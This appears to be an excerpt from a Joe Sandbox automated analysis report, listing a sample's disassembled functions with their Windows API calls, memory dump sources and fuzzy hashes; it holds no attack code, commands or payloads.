Instruction Fuzzy Hash: 5C418A3AA04B01D9FB50DF22E8812AC73A4FB84B98F964171DE4D43769CF3AE455E710

Function 00007FF73A244FCC Relevance: 10.6, APIs: 7, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF73A245028
MultiByteToWideChar.KERNEL32 ref: 00007FF73A245059
SysAllocString.OLEAUT32 ref: 00007FF73A245062
SysAllocString.OLEAUT32 ref: 00007FF73A245086
SysFreeString.OLEAUT32 ref: 00007FF73A245092
StringFromGUID2.OLE32 ref: 00007FF73A2450B0
SysAllocString.OLEAUT32 ref: 00007FF73A2450BF

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 470201b7a7510a06dd913372f332e36f0e26382b67c565ba0de27237d0cac92a
Instruction ID: 4f4f5c92c8950a5da1cc1a3168c80605e4fa4793b7b7956d3d7bd123dcc0d6dd
Opcode Fuzzy Hash: 470201b7a7510a06dd913372f332e36f0e26382b67c565ba0de27237d0cac92a
Instruction Fuzzy Hash: CE31B629B08B4599FB64AF12E445168B7A0FB88FD0F844276DA4D43790CF3CE444A314

Function 00007FF73A244EB0 Relevance: 10.6, APIs: 7, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF73A244F03
MultiByteToWideChar.KERNEL32 ref: 00007FF73A244F34
SysAllocString.OLEAUT32 ref: 00007FF73A244F3D
SysAllocString.OLEAUT32 ref: 00007FF73A244FA5

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: AllocByteCharMultiStringWide
String ID:
API String ID: 3603722519-0
Opcode ID: cf43f2be6eb4bd68818497ac57658916f6485d2528bb62b4acf40de2ec05e3b3
Instruction ID: 6309bd6d950b7c51ea9c3039465c71416c265c4edb31d5d727175cd56a174333
Opcode Fuzzy Hash: cf43f2be6eb4bd68818497ac57658916f6485d2528bb62b4acf40de2ec05e3b3
Instruction Fuzzy Hash: E531C135A08B459AFB20AF12E405169F3A4FB94F90F884276EA5D43795CF3CE484A700

Function 00007FF73A27AEDC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1D932C: CreateWindowExW.USER32 ref: 00007FF73A1D93BC
Part of subcall function 00007FF73A1D932C: GetStockObject.GDI32 ref: 00007FF73A1D93D9
Part of subcall function 00007FF73A1D932C: SendMessageW.USER32 ref: 00007FF73A1D93EC

SendMessageW.USER32 ref: 00007FF73A27AF8C
SendMessageW.USER32 ref: 00007FF73A27AFA0
SendMessageW.USER32 ref: 00007FF73A27AFB4
SendMessageW.USER32 ref: 00007FF73A27AFCB
SendMessageW.USER32 ref: 00007FF73A27AFE3

Strings

Msctls_Progress32, xrefs: 00007FF73A27AF12

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 175e965b11afd85df2c3a996d4a298cb258778d92a24fde76c77afeddb8f143d
Instruction ID: e8dbd3d72693cb2e9218c736ba08259649a57877c78607039caa97c5bb51d25d
Opcode Fuzzy Hash: 175e965b11afd85df2c3a996d4a298cb258778d92a24fde76c77afeddb8f143d
Instruction Fuzzy Hash: 4731983A60868187F3609F24F485B5AB361EBC8790F408239EB8843F58CF3DD841DB10

Function 00007FF73A24F9EC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF73A24FA11
CreatePipe.KERNEL32 ref: 00007FF73A24FA5D

Strings

nul, xrefs: 00007FF73A24FA99

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: c3b93562104d94dec8cab7a09dad708560240dd78c66e81481d559291ba52c16
Instruction ID: 59977a20a617b7ce0ff08814d00ad3dcaa41077a1e7a13314340ed680e5299b0
Opcode Fuzzy Hash: c3b93562104d94dec8cab7a09dad708560240dd78c66e81481d559291ba52c16
Instruction Fuzzy Hash: FB21802AA18B6692FB14AB24D015379A3A0FBC5F78F904371DA6E067D5DF7CD004A720

Function 00007FF73A24FAFC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF73A24FB23
CreatePipe.KERNEL32 ref: 00007FF73A24FB6F

Strings

nul, xrefs: 00007FF73A24FBB3

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 0134d29867f6a044a915cc83a074af2c17d8f13ec2a8203597b3b6c722d2df41
Instruction ID: b197f68d3912c54ea17d1d4417df40402dcf97de75d839bc623c3df0e2621dc3
Opcode Fuzzy Hash: 0134d29867f6a044a915cc83a074af2c17d8f13ec2a8203597b3b6c722d2df41
Instruction Fuzzy Hash: C8319F3AA18A0696FB10AB24D415379A3A0EBCAF78F900370DA7D067D4CF3CD444AB21

Function 00007FF73A1D8F40 Relevance: 9.2, APIs: 6, Instructions: 246COMMON

Download Yara Rule

APIs

GetClientRect.USER32(0000001B,?,00000000,?,?,00000000,?,00007FF73A1D8EBA), ref: 00007FF73A1D8F7D
GetWindowRect.USER32(?,00000000,?,?,00000000,?,00007FF73A1D8EBA), ref: 00007FF73A1D8FBF
ScreenToClient.USER32 ref: 00007FF73A1D8FE5
GetClientRect.USER32(0000001B,?,00000000,?,?,00000000,?,00007FF73A1D8EBA), ref: 00007FF73A1D9175
GetWindowRect.USER32(?,00000000,?,?,00000000,?,00007FF73A1D8EBA), ref: 00007FF73A1D919E
GetSystemMetrics.USER32 ref: 00007FF73A21E005

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Rect$Client$Window$MetricsScreenSystem
String ID:
API String ID: 3220332590-0
Opcode ID: d8f977ea4750bda3b048e49f0aa9ed333f17e400e230103ea3ed7eb9902d4993
Instruction ID: b2f920bc28a6dbf01baa7afcfffbf7b97cf10e7f1947d35e768385abf34ed788
Opcode Fuzzy Hash: d8f977ea4750bda3b048e49f0aa9ed333f17e400e230103ea3ed7eb9902d4993
Instruction Fuzzy Hash: 56A1E06FA1825396F724AF7198057BDB3B0FB44B58F941135EE1997E94EA3D9800F320

Function 00007FF73A1FA054 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 492COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A1FA08F
_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A1FA460
_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A1FA701

Strings

p, xrefs: 00007FF73A1FA19C
f, xrefs: 00007FF73A1FA194

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$p
API String ID: 3215553584-1290815066
Opcode ID: 6085b62d98b7eab37ce0c073fe453d3efb4bb7d0cdd32a8db3e6aa1a08046eff
Instruction ID: cee6ce13a4f5fac7630fed618587f6e27dff3a93d7e1bbc0627a14029d78c0dc
Opcode Fuzzy Hash: 6085b62d98b7eab37ce0c073fe453d3efb4bb7d0cdd32a8db3e6aa1a08046eff
Instruction Fuzzy Hash: 5412A569E0E2C3A5FB20BA14F04667AE671EB40F64FD84372D799076C4DB3DE540AB24

Function 00007FF73A23AD30 Relevance: 9.2, APIs: 6, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00007FF73A23AD45
VariantClear.OLEAUT32 ref: 00007FF73A23ADCA
VariantCopy.OLEAUT32 ref: 00007FF73A23ADD6
VariantClear.OLEAUT32 ref: 00007FF73A23ADE1
SysAllocString.OLEAUT32 ref: 00007FF73A23AE11
VariantCopy.OLEAUT32 ref: 00007FF73A23AE73

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Variant$ClearCopy$AllocInitString
String ID:
API String ID: 3859894641-0
Opcode ID: cca4d4b4a82fd169e8316434c4ac4a846e76b30b70834abcb80dd3cc97f6a4a2
Instruction ID: 1f6d042b7da41ae5eeeae43585a15ce5f53f1919c9a44daa43f2d2fefb82569c
Opcode Fuzzy Hash: cca4d4b4a82fd169e8316434c4ac4a846e76b30b70834abcb80dd3cc97f6a4a2
Instruction Fuzzy Hash: 52715D6AE09242A1FA28BF25915647CE360FF86B80F9541B6D74E077D1DF2FE911B320

Function 00007FF73A24D1F0 Relevance: 9.1, APIs: 6, Instructions: 131filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A24CA34: GetFullPathNameW.KERNEL32 ref: 00007FF73A24CA62

Part of subcall function 00007FF73A24CA34: GetFullPathNameW.KERNEL32 ref: 00007FF73A24CA77

Part of subcall function 00007FF73A24CED4: GetFileAttributesW.KERNEL32 ref: 00007FF73A24CED8

lstrcmpiW.KERNEL32 ref: 00007FF73A24D277
MoveFileW.KERNEL32 ref: 00007FF73A24D2AA
wcscat.LIBCMT ref: 00007FF73A24D2FB
wcscat.LIBCMT ref: 00007FF73A24D30E
wcscat.LIBCMT ref: 00007FF73A24D324
SHFileOperationW.SHELL32 ref: 00007FF73A24D43E

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Filewcscat$FullNamePath$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 564229958-0
Opcode ID: 972686d896643ff88dab35ced695c458f41fdd6e05e91eac0b5cb7023b787c65
Instruction ID: 3f04aa588665bee6918703fe14529588a0a783c3255f82d04b94be56998e6534
Opcode Fuzzy Hash: 972686d896643ff88dab35ced695c458f41fdd6e05e91eac0b5cb7023b787c65
Instruction Fuzzy Hash: 96517326A18692A6FB20FF70E4422E9A364FFD0784FC00172E64C5769ADFA8D745E750

Function 00007FF73A1DD4CC Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 119COMMON

Download Yara Rule

Strings

False, xrefs: 00007FF73A229C90
%.15g, xrefs: 00007FF73A1DD554
True, xrefs: 00007FF73A229C97
0x%p, xrefs: 00007FF73A229CB4

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID:
String ID: %.15g$0x%p$False$True
API String ID: 0-2263619337
Opcode ID: b4f339c1a008b25c745027f1729257de4a6e326c1301c069ea846767a1adc173
Instruction ID: f5d4ba507ad3e003ad2abb2b1180b0b7aefb56f98073dc99294171542e68be0a
Opcode Fuzzy Hash: b4f339c1a008b25c745027f1729257de4a6e326c1301c069ea846767a1adc173
Instruction Fuzzy Hash: A151B53AB0AA46A5FF10FB65E0421BCB375EB84B88F948671DA0D47795CE39D405E360

Function 00007FF73A1D1E04 Relevance: 9.1, APIs: 6, Instructions: 108COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1D2A54: GetWindowLongPtrW.USER32 ref: 00007FF73A1D2A71

BeginPaint.USER32 ref: 00007FF73A1D1E4C
GetWindowRect.USER32 ref: 00007FF73A1D1EB7
ScreenToClient.USER32 ref: 00007FF73A1D1EDE
SetViewportOrgEx.GDI32 ref: 00007FF73A1D1EF9
EndPaint.USER32 ref: 00007FF73A1D1F5A
Rectangle.GDI32 ref: 00007FF73A21A458

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectRectangleScreenViewport
String ID:
API String ID: 2592858361-0
Opcode ID: 55256b84f857a58467b122c2e0110198eeb840c0349577806b29d092c26582af
Instruction ID: 2fe47e6e22a9d235e5adbbfd491bfbefd5dda2baaf0cd5ac2b3f23822c397bec
Opcode Fuzzy Hash: 55256b84f857a58467b122c2e0110198eeb840c0349577806b29d092c26582af
Instruction Fuzzy Hash: 7751BC3AA08782A6F720EB11E445379B764FB89B94F8042B5DEAD47B94CF3CE405E710

Function 00007FF73A264C58 Relevance: 9.1, APIs: 6, Instructions: 99COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00007FF73A264C71

Part of subcall function 00007FF73A260374: GetWindowRect.USER32 ref: 00007FF73A260389

GetDesktopWindow.USER32 ref: 00007FF73A264C93
GetWindowRect.USER32 ref: 00007FF73A264CA0
mouse_event.USER32 ref: 00007FF73A264CE6

Part of subcall function 00007FF73A24D7F8: QueryPerformanceCounter.KERNEL32 ref: 00007FF73A24D811
Part of subcall function 00007FF73A24D7F8: QueryPerformanceFrequency.KERNEL32 ref: 00007FF73A24D820
Part of subcall function 00007FF73A24D7F8: Sleep.KERNEL32 ref: 00007FF73A24D828
Part of subcall function 00007FF73A24D7F8: QueryPerformanceCounter.KERNEL32 ref: 00007FF73A24D833

GetCursorPos.USER32(?,?), ref: 00007FF73A264D1A
mouse_event.USER32 ref: 00007FF73A264D87

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Window$PerformanceQuery$CounterRectmouse_event$CursorDesktopForegroundFrequencySleep
String ID:
API String ID: 383626216-0
Opcode ID: d42387b76471bac3b8932b653f89b44f129081ac0d9aa200aab0c7b58dfd8027
Instruction ID: bbdb28f1ec994dc7934ba50a34e89af355bdfe353f44cdf7b86dc14e743e89ab
Opcode Fuzzy Hash: d42387b76471bac3b8932b653f89b44f129081ac0d9aa200aab0c7b58dfd8027
Instruction Fuzzy Hash: 9431CD37B056529BF314DF21D881BAC73A5FB98748F800239EA4A53A94DF38E9499B40

Function 00007FF73A201E74 Relevance: 9.1, APIs: 6, Instructions: 56threadCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A201E90
CreateThread.KERNEL32 ref: 00007FF73A201ED4
GetLastError.KERNEL32 ref: 00007FF73A201EE2
CloseHandle.KERNEL32 ref: 00007FF73A201F01
FreeLibrary.KERNEL32 ref: 00007FF73A201F10
ResumeThread.KERNEL32 ref: 00007FF73A201F33

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Thread$CloseCreateErrorFreeHandleLastLibraryResume_invalid_parameter_noinfo
String ID:
API String ID: 2082702847-0
Opcode ID: a458dfd9bfd9b277759dc90733565293cd25b8068806620b860b1285bf48ee5e
Instruction ID: a3c3c97da66035fc4c15ff887d32d9be0c32650a5c0cbc5485c4d163e98cbcbb
Opcode Fuzzy Hash: a458dfd9bfd9b277759dc90733565293cd25b8068806620b860b1285bf48ee5e
Instruction Fuzzy Hash: 95216D29A09742A5FE18FB70A406279E290AFC4BB4F980774EA2D467D4DF3CE404B221

Function 00007FF73A242240 Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF73A24226B
GetDeviceCaps.GDI32 ref: 00007FF73A24227C
GetDeviceCaps.GDI32 ref: 00007FF73A24228C
ReleaseDC.USER32 ref: 00007FF73A242299
MulDiv.KERNEL32 ref: 00007FF73A2422AC
MulDiv.KERNEL32 ref: 00007FF73A2422BE

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: db491a3267b275339f548d81dbee8ecebd291c24a581f1a9e6271a89bb132f3c
Instruction ID: 4f4cddccc00663afdee8d920d740426de4919e8a499109d4f6d03f6a63ab6d91
Opcode Fuzzy Hash: db491a3267b275339f548d81dbee8ecebd291c24a581f1a9e6271a89bb132f3c
Instruction Fuzzy Hash: E811A039B1471186FB08DF629809029A7A5FF88BC1F808078EE0E87B94CE3DD801A700

Function 00007FF73A2809FC Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1D2370: ExtCreatePen.GDI32 ref: 00007FF73A1D23FF
Part of subcall function 00007FF73A1D2370: SelectObject.GDI32 ref: 00007FF73A1D2412
Part of subcall function 00007FF73A1D2370: BeginPath.GDI32 ref: 00007FF73A1D242B
Part of subcall function 00007FF73A1D2370: SelectObject.GDI32 ref: 00007FF73A1D2452

MoveToEx.GDI32 ref: 00007FF73A280A3F
LineTo.GDI32 ref: 00007FF73A280A4E
MoveToEx.GDI32 ref: 00007FF73A280A60
LineTo.GDI32 ref: 00007FF73A280A6F
EndPath.GDI32 ref: 00007FF73A280A81
StrokePath.GDI32 ref: 00007FF73A280A91

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: cd64bc4caddf1c30f8798d15c9bc183870131294e5ef7b47fced05608eeea06d
Instruction ID: d32ba1abfd7d81572975491438c9fead8ebea214b246107dc9c921f045e745fa
Opcode Fuzzy Hash: cd64bc4caddf1c30f8798d15c9bc183870131294e5ef7b47fced05608eeea06d
Instruction Fuzzy Hash: 2611C139B18682A6F714AB15B806768BB64EFC5F84F884170DF1A03B50CF7DE445E750

Function 00007FF73A1F2D5C Relevance: 9.0, APIs: 6, Instructions: 39keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(?,?,?,00007FF73A1D7FA5), ref: 00007FF73A1F2D8E
MapVirtualKeyW.USER32(?,?,?,00007FF73A1D7FA5), ref: 00007FF73A1F2D9C
MapVirtualKeyW.USER32(?,?,?,00007FF73A1D7FA5), ref: 00007FF73A1F2DAC
MapVirtualKeyW.USER32(?,?,?,00007FF73A1D7FA5), ref: 00007FF73A1F2DBC
MapVirtualKeyW.USER32(?,?,?,00007FF73A1D7FA5), ref: 00007FF73A1F2DCA
MapVirtualKeyW.USER32(?,?,?,00007FF73A1D7FA5), ref: 00007FF73A1F2DD8

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Virtual
